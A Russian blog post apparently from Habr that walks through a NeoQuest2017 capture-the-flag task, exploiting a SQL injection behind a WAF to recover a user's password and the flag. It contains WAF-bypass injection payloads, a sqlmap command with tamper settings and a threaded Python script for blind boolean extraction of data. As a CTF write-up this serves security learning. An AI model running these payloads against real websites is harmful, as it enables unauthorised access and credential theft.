[NeoQuest2017] «В поиске землян» и не только…


879faf487269449a9ab6b5d672161703.png

Пару дней назад завершился очередной отборочный online-этап ежегодного соревнования по кибербезопасности — NeoQuest2017. Выражаю особую благодарность организаторам: с каждым годом история всё увлекательнее, а задания сложнее!
А эта статья будет посвящена разбору девятого задания: PARADISOS

«В ПОИСКЕ ЗЕМЛЯН»

Добравшись до корабля потерпевшей бедствие экспедиции, мы не обнаружили там никого — по-видимому, ребятам удалось выбраться. Вот только где теперь их искать? Теоретически, они могли добраться до планеты Paradisos, последней из еще не посещённых нами.
Эта планета — райское местечко: чудесный климат, дружелюбные обитатели, радостно встретившие нас цветами и странными фруктами, весёлая музыка и куча довольных инопланетян всех знакомых и незнакомых нам рас. Парящие в воздухе мини-отели, рекламные щиты на разных языках (включая земной английский). Нас торжественно проводили в прекрасный отель, пообещав полное содействие по поиску членов экспедиции и по обмену знаниями о наших планетах. Нам удалось узнать, что ребята действительно были здесь и даже создали свой сайт, на котором каждый из них делал записи о космическом путешествии.
Адрес сайта сохранился, но мы увидели там имена только четверых исследователей. Оказалось, что ушлые инопланетяне требуют денег за доступ к полной информации. Платить мы, конечно, не будем. Попробуем «хакнуть»!
К заданию прилагается адрес сайта, который выглядит подобным образом:

332b31b42fc24ed8bbd3249108f10a79.png

Первым делом мы разберёмся откуда берётся текст к биографии каждого из «исследователей»:

$("#DanielButton").click(function(){
    $.ajax({url: "/bio/bio.php?name=Daniel", success: function(result){
        $("#ScientistBio").html(result);
$("#Avatar").show();
$("#Avatar").attr("src", "img/lava.png");
    }});
});

Идём по ссылке:»./bio/bio.php? name=Daniel» и видим текст биографии. Логично! Первая мысль, которая посетила меня на этой странице (а я надеюсь, что и тебя, %username%, тоже) — попробовать SQL Injection в параметр name.

Пробуем:
name=Daniel'+or+1=1+--+1
А нам в ответ:
Forbidden
You don't have permission to access /bio/bio.php on this server.

Значит сайт защищен WAF. Что же, это уже интереснее: значит есть что защищать!
Опытным путём было установлено: «information_scheme», «database ()», «SELECT *», «UNION» — запрещены для использования. Идём далее…

Пробуем:
name=Dan'+'i'+'el
И нам в ответ приходит текст его биографии.
Значит пробел работает в виде конкатенации. Попробуем иначе:
name=Daniel'+or/**_**/1=1+--+1
Бинго! В ответе нам вывелась биография всех шести исследователей (а не 4, как на главной странице): Roy, Ohad, Naomi, Daniel, Baldric и Sigizmund.
Биография последнего гласит:» Like ctf and space!»
Однако, нигде нет ключа. Значит нужно забить копать глубже!

Мною было принято решение расчехлять тяжелую артиллерию: sqlmap ¯\_(ツ)_/¯
После первых N попыток завести тырчок подцепиться к SQLi меня ожидало фиаско: sqlmap ни в какую не видит вектора, а в ответ ему сыпятся многочисленные:»403 Forbidden».

Правильно настроив техники обхода WAF (нужно было использовать ЭТО, но я же дурной решил написать свой, используя ту же самую технику, добавив лишь в начало и конец нужные PREFIX и SUFFIX), у нормальных людей могло бы выглядеть так:
sqlmap -u "http://IP_ADDRESS/bio/bio.php?name=*" --level=5 --risk=3 --tamper="space2morecomment" --prefix="-1%27%20" --suffix="%20--%201"

PWNED:
Parameter: #1* (URI)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: http://IP_ADDRESS:80/bio/bio.php?name=-1' OR 228=228 -- 1
Vector: OR [INFERENCE]

Однако, радоваться было рано: sqlmap упорно использовал запрещённые к употреблению «словечки» и максимум, что можно было сделать — использовать sql-shell:

00d0007c668541109bdae5c86518999d.png

В любом случае, мои догадки подтвердились — BBbSQLi. Вспомнив пару уроков «Очумелые ручки» было создано это:
Ахтунг! Вызывает рак клавиатуры
#!/usr/bin/python3
import requests
from multiprocessing.dummy import Pool as ThreadPool
import sys
import subprocess
import time

pool = ThreadPool(101)
pos = 1
passwd = ''


def getSockCount():
    proc = subprocess.Popen(['bash', '-c', 'ss | grep IP_ADDRESS | wc -l'], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
    output = proc.communicate()[0]
    return int(output.decode())


# Send SQL Request
def connect(sql):
    url = "http://IP_ADDRESS/bio/bio.php?name=-1' or/** **/(case/** **/when/** **/%s/** **/then/** **/1/** **/else/** **/0/** **/end)=1 -- 1"
    req = requests.get(url % sql.replace(' ', '/** **/'))
    if 'Hello! My name is' in req.text:
        return True
    return False


def findColumns(item):
    if item.isdigit():
        return
    sql = "%s>'0'" % item
    if connect(sql):
        print('Column: %s' % item)


def getFieldValue(item):
    global passwd
    sql = "id=6 and substring(password,%d,1)='%s'" % (pos, item)
    if connect(sql):
        passwd += item


alph = [chr(x) for x in range(ord('a'), ord('z') + 1)] + [chr(x) for x in range(ord('0'), ord('9') + 1)] + ['`', '~', '!', '@', '#', '$', '^', '&', '*', '(', ')', '_', '-', '+', '=', '[', ']', '{', '}', ';', ':', '\\', '|', '?', '/']
# Brute Columns
if len(sys.argv) > 0:
    tables = open(sys.argv[1]).read().splitlines()
    chunk_size = max([len(x) for x in tables])
    while True:
        pool.map(findColumns, tables)
        while getSockCount() > 2:
            time.sleep(1)
# слепой перебор символов в поле
else:
    while True:
        pool.map(getFieldValue, alph)
        while getSockCount() > 2:
            time.sleep(1)
        pos += 1
        print(passwd)


Используя данный скрипт были получены поля: «id» и «password». Решено было начать «брут» с пользователя «id=6» (aka «Sigizmund»). В итоге, это выглядело как-то так:

a7e2183e50f744adac97c499bdb2502f.png

В конце концов, человеки победили! Флаг: 14eb6641da38addf613424f5cd05357ce261c305

Комментарии (0)

© Habrahabr.ru